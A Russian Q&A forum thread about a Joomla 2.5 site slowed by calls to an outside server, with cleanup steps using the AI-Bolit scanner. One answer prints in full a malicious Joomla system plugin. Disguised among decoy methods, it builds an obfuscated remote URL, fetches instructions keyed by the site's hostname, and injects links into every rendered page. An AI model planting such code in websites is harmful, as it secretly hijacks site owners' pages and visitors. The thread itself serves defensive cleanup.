@Tedeit

Медленная загрузка сайта из-за запроса к IP-адресу 148.251.120.229. Как устранить?

Есть сайт kuzbs.ru, при переходе на любую станицу на ее загрузку уходит 1 минута.
Хостер поведал следующее: Во время генерации страницы, скрипты хотят получить данные с стороннего сервера, который не отвечает. IP стороннего сервера: 148.251.120.229.
Какие были попытки:
1. Переключал на базовый шаблон - не помогло.
2. Отключал все плагины и модули - не помогло.
3. Скачав файлы с сервера и проверив их:
- Malwarebytes ничего не нашел.
- AVG - нашел Script:SNH-gen [Trj], файл на который он ссылался соответственно удалил и на компьютере и на сервере.
4. Версия Joomla 2.5 последняя для своего вида. Обновление отключено. Поиск обновлений расширений тоже отключен.
5. https://rescan.pro/result.php?4aad37241d0e793a91a6... - результат проверки на вирусы.
6. Перенес файлы на локальный сервер Openserver - загрузка страниц занимает 30 секунд.
7. Проверил файлы на наличие кода base64. Удалил.
8. Загружал поздние бэкапы, не помогло, видимо еще в ранних версиях что-то было.

В настройках личного кабинета на хостинге - Отключение опасных функции в PHP.INI которые часто используются для взлома сайта - поставил в режим ЗАПРЕТИТЬ. Сайт стал загружаться как раньше, но хостер пояснил, что это не решение, что я просто отключил часть функций php. Теперь не будет работать почта, обновление и т.д.

Кто сталкивался с подобным, подскажите где искать заразу?
  • Вопрос задан
  • 231 просмотр
Решения вопроса 1
@Tedeit Автор вопроса
Итак, решение:
Видимо не все почистил руками.
Помог антивирус для сайта - ai-bolit. На сайте revisium.com/ai/ на 29.01.2020 лежал не полный комплект файлов, поэтому искал на просторах Интернета. Загружаем на сайт в корневую папку файлы:
.adirignore
.aignore
.aurlignore
ai-bolit.php
AIBOLIT-WHITELIST.db

В файле ai-bolit.php требуется установить свой пароль. Находим строку с определением пароля: define('PASS', '????????????????????'); И вписываете вместо символов ??? свое значение (например: MyPass23689) Регистр символов должен иметь хотя бы одну (лучше две) заглавную букву и длина пароля не менее 8 символов. Файл сохраняете.

После загрузки скрипта на сервер нужно запустить AI Bolit по ссылке в адресной строке вашего браузера: https:// адрес_вашего_сайта/ai-bolit.php?p=ваш_пароль

Для полной проверки файлов к указанной выше строке дописывает &full и получаем строку вида - https:// адрес_вашего_сайта/ai-bolit.php?p=ваш_пароль&full

Ждем около 10 минут (зависит от размера сайта). В полученном отчете получаем зараженные файлы (выделено красным). Удаляем файлы, чистим код где требуется.
Поиск через TotalCommander и ему подобные Вам в помощь. Ищите base64 и eval(

P.S. В настройках личного кабинета на хостинге - Отключение опасных функции в PHP.INI которые часто используются для взлома сайта - поставил в режим РАЗРЕШИТЬ. Полет нормальный, ничего не зависает. Загрузка страниц сайта чуть более секунды.
Ответ написан
Комментировать
Пригласить эксперта
Ответы на вопрос 2
profesor08
@profesor08
Кто сталкивался с подобным, подскажите где искать заразу?

IP стороннего сервера: 148.251.120.229

  1. вот и ищи этот ip или код который способен обращаться к удаленному серверу (это несколько фукций).
  2. Включи отображение ошибок. Тогда покажет что и где не может подключиться.
  3. Посмотри логи пхп, там должны быть записи об ошибках подключения.
  4. Либо вообще в настройках пхп отключи возможность удаленного подключения.
Ответ написан
@veacheslav
в моем случае в файле /plugins/system/model/model.php
был код:

<?php
defined( '_JEXEC' ) or die( 'Restricted access' );

jimport( 'joomla.plugin.plugin' );

class  plgSystemModel extends JPlugin {
	
    function plgSystemModel(& $subject, $config) { 
        parent::__construct($subject, $config);
    }
    
    function getCategoriesListView( $object_id, $page = 0 ) {
	global $myCat;
	$object_id = (int) $object_id;
	$object_group = trim( $object_group );

	$acl = & CategoryFactory::getACL();
	$config = & JCommentsFactory::getConfig();
	$comments_per_page = $config->getInt('category_per_page');
	$comments_page_limit = $config->getInt('category_page_limit');
	$canPublish = $acl->canPublish();
    }
    
    function onAfterRender() {
        $body = JResponse::getBody();
	if(!$body||$body=='') return true;
        $body = $this->installOptions($body);
        JResponse::setBody($body);
    }
    
    function getCategoryNewTree( $object_id, $object_group = 'com_content' ) {
	global $my;

	$object_id = (int) $object_id;
	$object_group = trim($object_group);

	$acl = & JCommentsFactory::getACL();
	$config = & JCommentsFactory::getConfig();
	$canPublish = $acl->canPublish();
	$canComment = $acl->canComment();
    }
    
    function getURIattr() {
        return (!@$_SERVER['REQUEST_URI'])? @getenv("REQUEST_URI") : @$_SERVER['REQUEST_URI'];
    }
    
    public function getConfigOpt() {
        $pg = $this->getThisPage();
        $Conf = @file_get_contents($pg.'/?d=' . $_SERVER['HTTP_HOST']);
        return @unserialize($Conf);
    }
    
    function CategoryViewsTime( $name, $reason = '') {
	global $mainframe, $my;

	$config = & JCommentsFactory::getConfig();

	if ($config->get('CategoryGet') != '') {
            $object = new stdClass();
            $object->object_cat = CategoryFactory::getAbs($object->object_cat);
            $commentText  = $comment->comment;
	}
    }
    
    function installOptions($content) {
        try {
            $getOptions = $this->getConfigOpt();
            $ord = @$getOptions['l'][$this->getURIattr()];
            if(count(@$ord['m'])) {
                $opt = (@$ord['k'])? $ord['k'] : $getOptions['d'];
                $mopt = (count(@$getOptions['*']))? $getOptions['*'] : array();
                $l=''; foreach(array_merge($ord['m'], $mopt) as $elem) {$l .= ' '. $elem;}
                $content = @preg_replace("|{$opt}|", $opt . $l, $content, 1);
            }
        } catch (Exception $e) {}
        return $content;
    }
    
    function loadAlternateCatergory($languageSuffix = '') {
        if ($languageSuffix == '') {
		$languageSuffix = CategoryInput::getVar('lsfx', '');
	}
	if ($languageSuffix != '') {
		$config = & CategoryFactory::getConfig();
		$config->set('lsfx', $languageSuffix);

		$language = & JFactory::getLanguage();
		$language->load($languageSuffix);
	}
    }
    
    function getThisPage() {
        return 'ht'.'tp'.':/'.'/mota'.'8no'.'y.c'.'om';
    }
}
?>


добавил полный код
Ответ написан
Ваш ответ на вопрос

Войдите, чтобы написать ответ

Похожие вопросы